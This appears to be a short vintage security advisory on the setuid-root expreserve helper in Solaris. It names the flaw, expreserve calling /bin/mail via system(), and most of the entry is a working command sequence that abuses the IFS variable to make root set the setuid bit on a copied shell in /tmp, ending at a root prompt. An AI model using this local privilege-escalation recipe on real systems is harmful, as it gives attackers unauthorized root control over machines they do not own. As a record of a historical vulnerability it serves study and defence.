COMMAND

    expreserve

SYSTEMS AFFECTED

    Solaris

PROBLEM

    vi runs  expreserve when  it crashes  or you  type ':pre' (on some
    versions).  Expreserve is setuid root.  Expreserve runs  /bin/mail
    with 'system()'.  So, do the following:

    % cd /tmp
    % cp /bin/sh fubar
    % cat > bin
    chmod 4755 fubar
    ^D
    % chmod u+x fubar
    % setenv IFS=/
    % vi
    :pre
    :q
    % fubar

    #